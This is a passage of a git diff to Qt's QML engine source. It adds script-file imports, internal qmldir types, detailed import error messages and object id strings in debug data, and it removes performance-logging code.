scriptBlock.codes.append(scriptCode); scriptBlock.files.append(sourceUrl); scriptBlock.lineNumbers.append(lineNumber); + scriptBlock.pragmas.append(Object::ScriptBlock::None); } } @@ -1230,6 +1266,7 @@ bool QDeclarativeCompiler::buildScript(QDeclarativeParser::Object *obj, QDeclara scriptBlock.codes.append(scriptCode); scriptBlock.files.append(sourceUrl); scriptBlock.lineNumbers.append(lineNumber); + scriptBlock.pragmas.append(Object::ScriptBlock::None); } } @@ -2094,7 +2131,7 @@ bool QDeclarativeCompiler::buildPropertyOnAssignment(QDeclarativeParser::Propert buildDynamicMeta(baseObj, ForceCreation); v->type = isPropertyValue ? Value::ValueSource : Value::ValueInterceptor; } else { - COMPILE_EXCEPTION(v, QCoreApplication::translate("QDeclarativeCompiler","\"%1\" cannot operate on \"%2\"").arg(v->object->typeName.constData()).arg(prop->name.constData())); + COMPILE_EXCEPTION(v, QCoreApplication::translate("QDeclarativeCompiler","\"%1\" cannot operate on \"%2\"").arg(QString::fromUtf8(v->object->typeName)).arg(QString::fromUtf8(prop->name))); } return true; diff --git a/src/declarative/qml/qdeclarativecomponent.cpp b/src/declarative/qml/qdeclarativecomponent.cpp index a280d7e..ec23458 100644 --- a/src/declarative/qml/qdeclarativecomponent.cpp +++ b/src/declarative/qml/qdeclarativecomponent.cpp @@ -54,8 +54,6 @@ #include "qdeclarativeglobal_p.h" #include "qdeclarativescriptparser_p.h" -#include <qfxperf_p_p.h> - #include <QStack> #include <QStringList> #include <QFileInfo> @@ -511,6 +509,8 @@ QScriptValue QDeclarativeComponent::createObject() return QScriptValue(); } QObject* ret = create(ctxt); + if (!ret) + return QScriptValue(); QDeclarativeEnginePrivate *priv = QDeclarativeEnginePrivate::get(d->engine); QDeclarativeDeclarativeData::get(ret, true)->setImplicitDestructible(); return priv->objectClass->newQObject(ret, QMetaType::QObjectStar); @@ -612,6 +612,11 @@ QDeclarativeComponentPrivate::beginCreate(QDeclarativeContextData *context, cons ctxt->isInternal = true; ctxt->url = cc->url; ctxt->imports = cc->importCache; + + // Nested global imports + if (creationContext && start != -1) + ctxt->importedScripts = creationContext->importedScripts; + cc->importCache->addref(); ctxt->setParent(context); diff --git a/src/declarative/qml/qdeclarativecomponent_p.h b/src/declarative/qml/qdeclarativecomponent_p.h index 649fce5..b44aeef 100644 --- a/src/declarative/qml/qdeclarativecomponent_p.h +++ b/src/declarative/qml/qdeclarativecomponent_p.h @@ -116,7 +116,7 @@ public: static void complete(QDeclarativeEnginePrivate *enginePriv, ConstructionState *state); QDeclarativeEngine *engine; - QDeclarativeContextData *creationContext; + QDeclarativeGuardedContextData creationContext; void clear(); diff --git a/src/declarative/qml/qdeclarativecompositetypedata_p.h b/src/declarative/qml/qdeclarativecompositetypedata_p.h index fb26af9..04d0c63 100644 --- a/src/declarative/qml/qdeclarativecompositetypedata_p.h +++ b/src/declarative/qml/qdeclarativecompositetypedata_p.h @@ -103,7 +103,16 @@ public: QDeclarativeCompositeTypeData *unit; }; + struct ScriptReference + { + ScriptReference(); + + QString qualifier; + QDeclarativeCompositeTypeResource *resource; + }; + QList<TypeReference> types; + QList<ScriptReference> scripts; QList<QDeclarativeCompositeTypeResource *> resources; // Add or remove p as a waiter. When the QDeclarativeCompositeTypeData becomes diff --git a/src/declarative/qml/qdeclarativecompositetypemanager.cpp b/src/declarative/qml/qdeclarativecompositetypemanager.cpp index 5014323..c59e5e2 100644 --- a/src/declarative/qml/qdeclarativecompositetypemanager.cpp +++ b/src/declarative/qml/qdeclarativecompositetypemanager.cpp @@ -126,6 +126,27 @@ QDeclarativeCompositeTypeData::toCompiledComponent(QDeclarativeEngine *engine) { if (status == Complete && !compiledComponent) { + // Build script imports + foreach (const QDeclarativeScriptParser::Import &import, data.imports()) { + if (import.type == QDeclarativeScriptParser::Import::Script) { + QString url = imports.baseUrl().resolved(QUrl(import.uri)).toString(); + + ScriptReference ref; + ref.qualifier = import.qualifier; + + for (int ii = 0; ii < resources.count(); ++ii) { + if (resources.at(ii)->url == url) { + ref.resource = resources.at(ii); + break; + } + } + + Q_ASSERT(ref.resource); + + scripts << ref; + } + } + compiledComponent = new QDeclarativeCompiledData(engine); compiledComponent->url = imports.baseUrl(); compiledComponent->name = compiledComponent->url.toString(); @@ -153,6 +174,11 @@ QDeclarativeCompositeTypeData::TypeReference::TypeReference() { } +QDeclarativeCompositeTypeData::ScriptReference::ScriptReference() +: resource(0) +{ +} + QDeclarativeCompositeTypeManager::QDeclarativeCompositeTypeManager(QDeclarativeEngine *e) : engine(e), redirectCount(0) { @@ -513,12 +539,18 @@ int QDeclarativeCompositeTypeManager::resolveTypes(QDeclarativeCompositeTypeData foreach (QDeclarativeScriptParser::Import imp, unit->data.imports()) { - QString qmldircontentnetwork; + QDeclarativeDirComponents qmldircomponentsnetwork; + if (imp.type == QDeclarativeScriptParser::Import::Script) + continue; + if (imp.type == QDeclarativeScriptParser::Import::File && imp.qualifier.isEmpty()) { QString importUrl = unit->imports.baseUrl().resolved(QUrl(imp.uri + QLatin1String("/qmldir"))).toString(); for (int ii = 0; ii < unit->resources.count(); ++ii) { if (unit->resources.at(ii)->url == importUrl) { - qmldircontentnetwork = QString::fromUtf8(unit->resources.at(ii)->data); + QDeclarativeDirParser parser; + parser.setSource(QString::fromUtf8(unit->resources.at(ii)->data)); + parser.parse(); + qmldircomponentsnetwork = parser.components(); break; } } @@ -538,12 +570,15 @@ int QDeclarativeCompositeTypeManager::resolveTypes(QDeclarativeCompositeTypeData } } + QString errorString; if (!QDeclarativeEnginePrivate::get(engine)-> - addToImport(&unit->imports, qmldircontentnetwork, imp.uri, imp.qualifier, vmaj, vmin, imp.type)) + addToImport(&unit->imports, qmldircomponentsnetwork, imp.uri, imp.qualifier, vmaj, vmin, imp.type, &errorString)) { QDeclarativeError error; error.setUrl(unit->imports.baseUrl()); - error.setDescription(tr("Import %1 unavailable").arg(imp.uri)); + error.setDescription(errorString); + error.setLine(imp.location.start.line); + error.setColumn(imp.location.start.column); unit->status = QDeclarativeCompositeTypeData::Error; unit->errorType = QDeclarativeCompositeTypeData::GeneralError; unit->errors << error; @@ -558,18 +593,23 @@ int QDeclarativeCompositeTypeManager::resolveTypes(QDeclarativeCompositeTypeData */ { - QString qmldircontentnetwork; + QDeclarativeDirComponents qmldircomponentsnetwork; if (QDeclarativeCompositeTypeResource *resource - = resources.value(unit->imports.baseUrl().resolved(QUrl(QLatin1String("./qmldir"))))) - qmldircontentnetwork = QString::fromUtf8(resource->data); + = resources.value(unit->imports.baseUrl().resolved(QUrl(QLatin1String("./qmldir"))))) { + QDeclarativeDirParser parser; + parser.setSource(QString::fromUtf8(resource->data)); + parser.parse(); + qmldircomponentsnetwork = parser.components(); + } QDeclarativeEnginePrivate::get(engine)-> addToImport(&unit->imports, - qmldircontentnetwork, + qmldircomponentsnetwork, QLatin1String("."), QString(), -1, -1, - QDeclarativeScriptParser::Import::File); + QDeclarativeScriptParser::Import::File, + 0); // error ignored (just means no fallback) } diff --git a/src/declarative/qml/qdeclarativecontext.cpp b/src/declarative/qml/qdeclarativecontext.cpp index 782c0d7..2b8cf70 100644 --- a/src/declarative/qml/qdeclarativecontext.cpp +++ b/src/declarative/qml/qdeclarativecontext.cpp @@ -606,6 +606,75 @@ void QDeclarativeContextData::addObject(QObject *o) contextObjects = data; } +void QDeclarativeContextData::addImportedScript(const QDeclarativeParser::Object::ScriptBlock &script) +{ + if (!engine) + return; + + Q_ASSERT(script.codes.count() == 1); + + QDeclarativeEnginePrivate *enginePriv = QDeclarativeEnginePrivate::get(engine); + QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine); + + const QString &code = script.codes.at(0); + const QString &url = script.files.at(0); + const QDeclarativeParser::Object::ScriptBlock::Pragmas &pragmas = script.pragmas.at(0); + + Q_ASSERT(!url.isEmpty()); + + if (pragmas & QDeclarativeParser::Object::ScriptBlock::Shared) { + + QHash<QString, QScriptValue>::Iterator iter = enginePriv->m_sharedScriptImports.find(url); + if (iter == enginePriv->m_sharedScriptImports.end()) { + QScriptContext *scriptContext = QScriptDeclarativeClass::pushCleanContext(scriptEngine); + + scriptContext->pushScope(enginePriv->globalClass->globalObject()); + + QScriptValue scope = scriptEngine->newObject(); + scriptContext->setActivationObject(scope); + scriptContext->pushScope(scope); + + scriptEngine->evaluate(code, url, 1); + + if (scriptEngine->hasUncaughtException()) { + QDeclarativeError error; + QDeclarativeExpressionPrivate::exceptionToError(scriptEngine, error); + qWarning().nospace() << qPrintable(error.toString()); + } + + scriptEngine->popContext(); + + iter = enginePriv->m_sharedScriptImports.insert(url, scope); + } + + importedScripts.append(*iter); + + } else { + + QScriptContext *scriptContext = QScriptDeclarativeClass::pushCleanContext(scriptEngine); + + scriptContext->pushScope(enginePriv->contextClass->newContext(this, 0)); + scriptContext->pushScope(enginePriv->globalClass->globalObject()); + + QScriptValue scope = scriptEngine->newObject(); + scriptContext->setActivationObject(scope); + scriptContext->pushScope(scope); + + scriptEngine->evaluate(code, url, 1); + + if (scriptEngine->hasUncaughtException()) { + QDeclarativeError error; + QDeclarativeExpressionPrivate::exceptionToError(scriptEngine, error); + qWarning().nospace() << qPrintable(error.toString()); + } + + scriptEngine->popContext(); + + importedScripts.append(scope); + + } +} + void QDeclarativeContextData::addScript(const QDeclarativeParser::Object::ScriptBlock &script, QObject *scopeObject) { @@ -655,6 +724,21 @@ void QDeclarativeContextData::setIdPropertyData(QDeclarativeIntegerCache *data) idValues = new ContextGuard[idValueCount]; } +QString QDeclarativeContextData::findObjectId(const QObject *obj) const +{ + if (!idValues || !propertyNames) + return QString(); + + for (int i=0; i<idValueCount; i++) { + if (idValues[i] == obj) + return propertyNames->findId(i); + } + + if (linkedContext) + return linkedContext->findObjectId(obj); + return QString(); +} + QDeclarativeContext *QDeclarativeContextData::asQDeclarativeContext() { if (!publicContext) diff --git a/src/declarative/qml/qdeclarativecontext_p.h b/src/declarative/qml/qdeclarativecontext_p.h index d74aa33..e5f18b3 100644 --- a/src/declarative/qml/qdeclarativecontext_p.h +++ b/src/declarative/qml/qdeclarativecontext_p.h @@ -81,7 +81,7 @@ class QDeclarativeBinding_Id; class QDeclarativeCompiledBindings; class QDeclarativeContextData; -class Q_DECLARATIVE_EXPORT QDeclarativeContextPrivate : public QObjectPrivate +class QDeclarativeContextPrivate : public QObjectPrivate { Q_DECLARE_PUBLIC(QDeclarativeContext) public: @@ -141,6 +141,8 @@ public: // Any script blocks that exist on this context QList<QScriptValue> scripts; + QList<QScriptValue> importedScripts; + void addImportedScript(const QDeclarativeParser::Object::ScriptBlock &script); void addScript(const QDeclarativeParser::Object::ScriptBlock &script, QObject *scopeObject); // Context base url @@ -188,6 +190,8 @@ public: // Linked contexts. this owns linkedContext. QDeclarativeContextData *linkedContext; + QString findObjectId(const QObject *obj) const; + static QDeclarativeContextData *get(QDeclarativeContext *context) { return QDeclarativeContextPrivate::get(context)->data; } diff --git a/src/declarative/qml/qdeclarativecontextscriptclass.cpp b/src/declarative/qml/qdeclarativecontextscriptclass.cpp index 847d632..2559224 100644 --- a/src/declarative/qml/qdeclarativecontextscriptclass.cpp +++ b/src/declarative/qml/qdeclarativecontextscriptclass.cpp @@ -240,10 +240,19 @@ QDeclarativeContextScriptClass::property(Object *object, const Identifier &name) } else if (lastData) { - if (lastData->type) + if (lastData->type) { return Value(scriptEngine, ep->typeNameClass->newObject(bindContext->contextObject, lastData->type)); - else - return Value(scriptEngine, ep->typeNameClass->newObject(bindContext->contextObject, lastData->typeNamespace)); + } else if (lastData->typeNamespace) { + return Value(scriptEngine, ep->typeNameClass->newObject(bindContext->contextObject, + lastData->typeNamespace)); + } else { + int index = lastData->importedScriptIndex; + if (index < bindContext->importedScripts.count()) { + return Value(scriptEngine, bindContext->importedScripts.at(index)); + } else { + return Value(); + } + } } else if (lastPropertyIndex != -1) { @@ -266,7 +275,6 @@ QDeclarativeContextScriptClass::property(Object *object, const Identifier &name) ep->capturedProperties << QDeclarativeEnginePrivate::CapturedProperty(bindContext->asQDeclarativeContext(), -1, lastPropertyIndex + cp->notifyIndex); } - return Value(scriptEngine, rv); } else { diff --git a/src/declarative/qml/qdeclarativedirparser.cpp b/src/declarative/qml/qdeclarativedirparser.cpp index b6d2115..0e82098 100644 --- a/src/declarative/qml/qdeclarativedirparser.cpp +++ b/src/declarative/qml/qdeclarativedirparser.cpp @@ -151,6 +151,16 @@ bool QDeclarativeDirParser::parse() _plugins.append(entry); + } else if (sections[0] == QLatin1String("internal")) { + if (sectionCount != 3) { + reportError(lineNumber, -1, + QString::fromUtf8("internal types require 2 arguments, but %1 were provided").arg(sectionCount + 1)); + continue; + } + Component entry(sections[1], sections[2], -1, -1); + entry.internal = true; + _components.append(entry); + } else if (sectionCount == 2) { // No version specified (should only be used for relative qmldir files) const Component entry(sections[0], sections[1], -1, -1); diff --git a/src/declarative/qml/qdeclarativedirparser_p.h b/src/declarative/qml/qdeclarativedirparser_p.h index 5df7117..e4f4ce6 100644 --- a/src/declarative/qml/qdeclarativedirparser_p.h +++ b/src/declarative/qml/qdeclarativedirparser_p.h @@ -59,7 +59,6 @@ QT_BEGIN_NAMESPACE class QDeclarativeError; - class QDeclarativeDirParser { Q_DISABLE_COPY(QDeclarativeDirParser) @@ -94,15 +93,17 @@ public: struct Component { Component() - : majorVersion(0), minorVersion(0) {} + : majorVersion(0), minorVersion(0), internal(false) {} Component(const QString &typeName, const QString &fileName, int majorVersion, int minorVersion) - : typeName(typeName), fileName(fileName), majorVersion(majorVersion), minorVersion(minorVersion) {} + : typeName(typeName), fileName(fileName), majorVersion(majorVersion), minorVersion(minorVersion), + internal(false) {} QString typeName; QString fileName; int majorVersion; int minorVersion; + bool internal; }; QList<Component> components() const; @@ -120,6 +121,9 @@ private: unsigned _isParsed: 1; }; +typedef QList<QDeclarativeDirParser::Component> QDeclarativeDirComponents; + + QT_END_NAMESPACE #endif // QDECLARATIVEDIRPARSER_P_H diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index 800434a..d4872e2 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -69,8 +69,6 @@ #include "qdeclarativelist_p.h" #include "qdeclarativetypenamecache_p.h" -#include <qfxperf_p_p.h> - #include <QtCore/qmetaobject.h> #include <QScriptClass> #include <QNetworkReply> @@ -1361,9 +1359,10 @@ struct QDeclarativeEnginePrivate::ImportedNamespace { QList<int> majversions; QList<int> minversions; QList<bool> isLibrary; - QList<QString> qmlDirContent; + QList<QDeclarativeDirComponents> qmlDirComponents; - bool find(const QByteArray& type, int *vmajor, int *vminor, QDeclarativeType** type_return, QUrl* url_return) + bool find(const QByteArray& type, int *vmajor, int *vminor, QDeclarativeType** type_return, QUrl* url_return, + QUrl *base = 0) { for (int i=0; i<urls.count(); ++i) { int vmaj = majversions.at(i); @@ -1383,23 +1382,22 @@ struct QDeclarativeEnginePrivate::ImportedNamespace { } QUrl url = QUrl(urls.at(i) + QLatin1Char('/') + QString::fromUtf8(type) + QLatin1String(".qml")); - QString qmldircontent = qmlDirContent.at(i); + QDeclarativeDirComponents qmldircomponents = qmlDirComponents.at(i); bool typeWasDeclaredInQmldir = false; - if (!qmldircontent.isEmpty()) { + if (!qmldircomponents.isEmpty()) { const QString typeName = QString::fromUtf8(type); - - QDeclarativeDirParser qmldirParser; - qmldirParser.setUrl(url); - qmldirParser.setSource(qmldircontent); - qmldirParser.parse(); - - foreach (const QDeclarativeDirParser::Component &c, qmldirParser.components()) { // ### TODO: cache the components + foreach (const QDeclarativeDirParser::Component &c, qmldircomponents) { if (c.typeName == typeName) { typeWasDeclaredInQmldir = true; if (c.majorVersion < vmaj || (c.majorVersion == vmaj && vmin >= c.minorVersion)) { + QUrl candidate = url.resolved(QUrl(c.fileName)); + if (c.internal && base) { + if (base->resolved(QUrl(c.fileName)) != candidate) + continue; // failed attempt to access an internal type + } if (url_return) - *url_return = url.resolved(QUrl(c.fileName)); + *url_return = candidate; return true; } } @@ -1420,6 +1418,11 @@ struct QDeclarativeEnginePrivate::ImportedNamespace { } }; +static bool greaterThan(const QString &s1, const QString &s2) +{ + return s1 > s2; +} + class QDeclarativeImportsPrivate { public: QDeclarativeImportsPrivate() : ref(1) @@ -1434,22 +1437,22 @@ public: QSet<QString> qmlDirFilesForWhichPluginsHaveBeenLoaded; - QString importExtension(const QString &absoluteFilePath, const QString &uri, QDeclarativeEngine *engine) { + QDeclarativeDirComponents importExtension(const QString &absoluteFilePath, const QString &uri, QDeclarativeEngine *engine) { QFile file(absoluteFilePath); QString dir = QFileInfo(file).path(); - QString qmldircontent; + QString filecontent; if (file.open(QFile::ReadOnly)) { - qmldircontent = QString::fromUtf8(file.readAll()); + filecontent = QString::fromUtf8(file.readAll()); if (qmlImportTrace()) qDebug() << "QDeclarativeEngine::add: loaded" << absoluteFilePath; } + QDeclarativeDirParser qmldirParser; + qmldirParser.setSource(filecontent); + qmldirParser.parse(); if (! qmlDirFilesForWhichPluginsHaveBeenLoaded.contains(absoluteFilePath)) { qmlDirFilesForWhichPluginsHaveBeenLoaded.insert(absoluteFilePath); - QDeclarativeDirParser qmldirParser; - qmldirParser.setSource(qmldircontent); - qmldirParser.parse(); foreach (const QDeclarativeDirParser::Plugin &plugin, qmldirParser.plugins()) { QDir pluginDir(dir + QDir::separator() + plugin.path); @@ -1465,7 +1468,7 @@ public: } } } - return qmldircontent; + return qmldirParser.components(); } QString resolvedUri(const QString &dir_arg, QDeclarativeEngine *engine) @@ -1497,6 +1500,8 @@ public: // add fileImportPath last, this is *not* search order. paths += QDeclarativeEnginePrivate::get(engine)->fileImportPath; + qSort(paths.begin(), paths.end(), greaterThan); // Ensure subdirs preceed their parents. + QString stableRelativePath = dir; foreach( QString path, paths) { if (dir.startsWith(path)) { @@ -1512,9 +1517,9 @@ public: - bool add(const QUrl& base, const QString &qmldircontentnetwork, const QString& uri_arg, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType, QDeclarativeEngine *engine) + bool add(const QUrl& base, const QDeclarativeDirComponents &qmldircomponentsnetwork, const QString& uri_arg, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType, QDeclarativeEngine *engine, QString *errorString) { - QString qmldircontent = qmldircontentnetwork; + QDeclarativeDirComponents qmldircomponents = qmldircomponentsnetwork; QString uri = uri_arg; QDeclarativeEnginePrivate::ImportedNamespace *s; if (prefix.isEmpty()) { @@ -1547,11 +1552,11 @@ public: paths += applicationDirPath; paths += QDeclarativeEnginePrivate::get(engine)->environmentImportPath; - #if (QT_VERSION >= QT_VERSION_CHECK(4,7,0)) +#if (QT_VERSION >= QT_VERSION_CHECK(4,7,0)) QString builtinPath = QLibraryInfo::location(QLibraryInfo::ImportsPath); - #else +#else QString builtinPath; - #endif +#endif if (!builtinPath.isEmpty()) paths += builtinPath; @@ -1566,24 +1571,57 @@ public: url = QUrl::fromLocalFile(fi.absolutePath()).toString(); uri = resolvedUri(dir, engine); - qmldircontent = importExtension(absoluteFilePath, uri, engine); + qmldircomponents = importExtension(absoluteFilePath, uri, engine); break; } } + if (!found) { + found = QDeclarativeMetaType::isModule(uri.toUtf8(), vmaj, vmin); + if (!found) { + if (errorString) { + bool anyversion = QDeclarativeMetaType::isModule(uri.toUtf8(), 0, 0); + if (anyversion) + *errorString = QDeclarativeEngine::tr("module \"%1\" version %2.%3 is not installed").arg(uri_arg).arg(vmaj).arg(vmin); + else + *errorString = QDeclarativeEngine::tr("module \"%1\" is not installed").arg(uri_arg); + } + return false; + } + } } else { - if (importType == QDeclarativeScriptParser::Import::File && qmldircontent.isEmpty()) { + if (importType == QDeclarativeScriptParser::Import::File && qmldircomponents.isEmpty()) { QUrl importUrl = base.resolved(QUrl(uri + QLatin1String("/qmldir"))); QString localFileOrQrc = toLocalFileOrQrc(importUrl); if (!localFileOrQrc.isEmpty()) { + QString dir = toLocalFileOrQrc(base.resolved(QUrl(uri))); + if (dir.isEmpty() || !QDir().exists(dir)) { + if (errorString) + *errorString = QDeclarativeEngine::tr("\"%1\": no such directory").arg(uri_arg); + return false; // local import dirs must exist + } uri = resolvedUri(toLocalFileOrQrc(base.resolved(QUrl(uri))), engine); - qmldircontent = importExtension(localFileOrQrc, + qmldircomponents = importExtension(localFileOrQrc, uri, engine); if (uri.endsWith(QLatin1Char('/'))) uri.chop(1); + } else { + if (prefix.isEmpty()) { + // directory must at least exist for valid import + QString localFileOrQrc = toLocalFileOrQrc(base.resolved(QUrl(uri))); + if (localFileOrQrc.isEmpty() || !QDir().exists(localFileOrQrc)) { + if (errorString) { + if (localFileOrQrc.isEmpty()) + *errorString = QDeclarativeEngine::tr("import \"%1\" has no qmldir and no namespace").arg(uri); + else + *errorString = QDeclarativeEngine::tr("\"%1\": no such directory").arg(uri); + } + return false; + } + } } } @@ -1597,7 +1635,7 @@ public: s->majversions.prepend(vmaj); s->minversions.prepend(vmin); s->isLibrary.prepend(importType == QDeclarativeScriptParser::Import::Library); - s->qmlDirContent.prepend(qmldircontent); + s->qmlDirComponents.prepend(qmldircomponents); return true; } @@ -1617,7 +1655,7 @@ public: } QByteArray unqualifiedtype = slash < 0 ? type : type.mid(slash+1); // common-case opt (QString::mid works fine, but slower) if (s) { - if (s->find(unqualifiedtype,vmajor,vminor,type_return,url_return)) + if (s->find(unqualifiedtype,vmajor,vminor,type_return,url_return, &base)) return true; if (s->urls.count() == 1 && !s->isLibrary[0] && url_return && s != &unqualifiedset) { // qualified, and only 1 url @@ -1627,16 +1665,7 @@ public: } - - /* now comes really nasty code. It makes "private" types load in the remote case, but - it does this by breaking the import order. This must go. Instead private types must - be marked private in the qmldir. */ - if (url_return) { - *url_return = base.resolved(QUrl(QString::fromUtf8(type + ".qml"))); - return true; - } else { - return false; - } + return false; } QDeclarativeEnginePrivate::ImportedNamespace *findNamespace(const QString& type) @@ -1706,12 +1735,10 @@ static QDeclarativeTypeNameCache *cacheForNamespace(QDeclarativeEngine *engine, return cache; } -QDeclarativeTypeNameCache *QDeclarativeEnginePrivate::Imports::cache(QDeclarativeEngine *engine) const +void QDeclarativeEnginePrivate::Imports::cache(QDeclarativeTypeNameCache *cache, QDeclarativeEngine *engine) const { const QDeclarativeEnginePrivate::ImportedNamespace &set = d->unqualifiedset; - QDeclarativeTypeNameCache *cache = new QDeclarativeTypeNameCache(engine); - for (QHash<QString,QDeclarativeEnginePrivate::ImportedNamespace* >::ConstIterator iter = d->set.begin(); iter != d->set.end(); ++iter) { @@ -1727,8 +1754,6 @@ QDeclarativeTypeNameCache *QDeclarativeEnginePrivate::Imports::cache(QDeclarativ } cacheForNamespace(engine, set, cache); - - return cache; } /* @@ -1970,12 +1995,12 @@ QString QDeclarativeEnginePrivate::resolvePlugin(const QDir &dir, const QString The base URL must already have been set with Import::setBaseUrl(). */ -bool QDeclarativeEnginePrivate::addToImport(Imports* imports, const QString &qmldircontentnetwork, const QString& uri, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType) const +bool QDeclarativeEnginePrivate::addToImport(Imports* imports, const QDeclarativeDirComponents &qmldircomponentsnetwork, const QString& uri, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType, QString *errorString) const { QDeclarativeEngine *engine = QDeclarativeEnginePrivate::get(const_cast<QDeclarativeEnginePrivate *>(this)); if (qmlImportTrace()) qDebug().nospace() << "QDeclarativeEngine::addToImport " << imports << " " << uri << " " << vmaj << '.' << vmin << " " << (importType==QDeclarativeScriptParser::Import::Library? "Library" : "File") << " as " << prefix; - bool ok = imports->d->add(imports->d->base,qmldircontentnetwork, uri,prefix,vmaj,vmin,importType, engine); + bool ok = imports->d->add(imports->d->base,qmldircomponentsnetwork, uri,prefix,vmaj,vmin,importType, engine, errorString); return ok; } diff --git a/src/declarative/qml/qdeclarativeengine_p.h b/src/declarative/qml/qdeclarativeengine_p.h index f1b7b0e..06b5027 100644 --- a/src/declarative/qml/qdeclarativeengine_p.h +++ b/src/declarative/qml/qdeclarativeengine_p.h @@ -69,6 +69,7 @@ #include "qdeclarativecontextscriptclass_p.h" #include "qdeclarativevaluetypescriptclass_p.h" #include "qdeclarativemetatype_p.h" +#include "qdeclarativedirparser_p.h" #include <QtScript/QScriptClass> #include <QtScript/QScriptValue> @@ -263,7 +264,7 @@ public: void setBaseUrl(const QUrl& url); QUrl baseUrl() const; - QDeclarativeTypeNameCache *cache(QDeclarativeEngine *) const; + void cache(QDeclarativeTypeNameCache *cache, QDeclarativeEngine *) const; private: friend class QDeclarativeEnginePrivate; @@ -280,7 +281,10 @@ public: QString resolvePlugin(const QDir &dir, const QString &baseName); - bool addToImport(Imports*, const QString& uri, const QString &qmldircontentnetwork, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType) const; + bool addToImport(Imports*, const QDeclarativeDirComponents &qmldircomponentsnetwork, + const QString& uri, const QString& prefix, int vmaj, int vmin, + QDeclarativeScriptParser::Import::Type importType, + QString *errorString) const; bool resolveType(const Imports&, const QByteArray& type, QDeclarativeType** type_return, QUrl* url_return, int *version_major, int *version_minor, @@ -302,6 +306,8 @@ public: QHash<int, int> m_qmlLists; QHash<int, QDeclarativeCompiledData *> m_compositeTypes; + QHash<QString, QScriptValue> m_sharedScriptImports; + QScriptValue scriptValueFromVariant(const QVariant &); QVariant scriptValueToVariant(const QScriptValue &); diff --git a/src/declarative/qml/qdeclarativeenginedebug.cpp b/src/declarative/qml/qdeclarativeenginedebug.cpp index a377b35..d30aa8e 100644 --- a/src/declarative/qml/qdeclarativeenginedebug.cpp +++ b/src/declarative/qml/qdeclarativeenginedebug.cpp @@ -68,16 +68,16 @@ QDeclarativeEngineDebugServer::QDeclarativeEngineDebugServer(QObject *parent) QDataStream &operator<<(QDataStream &ds, const QDeclarativeEngineDebugServer::QDeclarativeObjectData &data) { - ds << data.url << data.lineNumber << data.columnNumber << data.objectName - << data.objectType << data.objectId << data.contextId; + ds << data.url << data.lineNumber << data.columnNumber << data.idString + << data.objectName << data.objectType << data.objectId << data.contextId; return ds; } QDataStream &operator>>(QDataStream &ds, QDeclarativeEngineDebugServer::QDeclarativeObjectData &data) { - ds >> data.url >> data.lineNumber >> data.columnNumber >> data.objectName - >> data.objectType >> data.objectId >> data.contextId; + ds >> data.url >> data.lineNumber >> data.columnNumber >> data.idString + >> data.objectName >> data.objectType >> data.objectId >> data.contextId; return ds; } @@ -275,6 +275,13 @@ QDeclarativeEngineDebugServer::objectData(QObject *object) rv.columnNumber = -1; } + QDeclarativeContext *context = qmlContext(object); + if (context) { + QDeclarativeContextData *cdata = QDeclarativeContextData::get(context); + if (cdata) + rv.idString = cdata->findObjectId(object); + } + rv.objectName = object->objectName(); rv.objectId = QDeclarativeDebugService::idForObject(object); rv.contextId = QDeclarativeDebugService::idForObject(qmlContext(object)); diff --git a/src/declarative/qml/qdeclarativeenginedebug_p.h b/src/declarative/qml/qdeclarativeenginedebug_p.h index a95449b..9491411 100644 --- a/src/declarative/qml/qdeclarativeenginedebug_p.h +++ b/src/declarative/qml/qdeclarativeenginedebug_p.h @@ -75,6 +75,7 @@ public: QUrl url; int lineNumber; int columnNumber; + QString idString; QString objectName; QString objectType; int objectId; diff --git a/src/declarative/qml/qdeclarativeexpression.cpp b/src/declarative/qml/qdeclarativeexpression.cpp index 9eed345..b7ee3a4 100644 --- a/src/declarative/qml/qdeclarativeexpression.cpp +++ b/src/declarative/qml/qdeclarativeexpression.cpp @@ -353,10 +353,6 @@ void QDeclarativeExpressionPrivate::exceptionToError(QScriptEngine *scriptEngine QVariant QDeclarativeExpressionPrivate::evalQtScript(QObject *secondaryScope, bool *isUndefined) { -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer<QDeclarativePerf::BindValueQt> perfqt; -#endif - QDeclarativeExpressionData *data = this->data; QDeclarativeEngine *engine = data->context()->engine; QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine); @@ -466,10 +462,6 @@ QVariant QDeclarativeExpressionPrivate::value(QObject *secondaryScope, bool *isU if (data->expression.isEmpty()) return rv; -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer<QDeclarativePerf::BindValue> perf; -#endif - QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(q->engine()); QDeclarativeExpression *lastCurrentExpression = ep->currentExpression; diff --git a/src/declarative/qml/qdeclarativeinstruction.cpp b/src/declarative/qml/qdeclarativeinstruction.cpp index a23ff75..9083ab3 100644 --- a/src/declarative/qml/qdeclarativeinstruction.cpp +++ b/src/declarative/qml/qdeclarativeinstruction.cpp @@ -144,6 +144,9 @@ void QDeclarativeCompiledData::dump(QDeclarativeInstruction *instr, int idx) case QDeclarativeInstruction::StoreScript: qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_SCRIPT\t\t" << instr->storeScript.value; break; + case QDeclarativeInstruction::StoreImportedScript: + qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_IMPORTED_SCRIPT\t" << instr->storeScript.value; + break; case QDeclarativeInstruction::StoreScriptString: qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_SCRIPT_STRING\t" << instr->storeScriptString.propertyIndex << "\t" << instr->storeScriptString.value << "\t" << instr->storeScriptString.scope; break; diff --git a/src/declarative/qml/qdeclarativeinstruction_p.h b/src/declarative/qml/qdeclarativeinstruction_p.h index ec32b35..877179d 100644 --- a/src/declarative/qml/qdeclarativeinstruction_p.h +++ b/src/declarative/qml/qdeclarativeinstruction_p.h @@ -119,6 +119,7 @@ public: StoreSignal, /* storeSignal */ StoreScript, /* storeScript 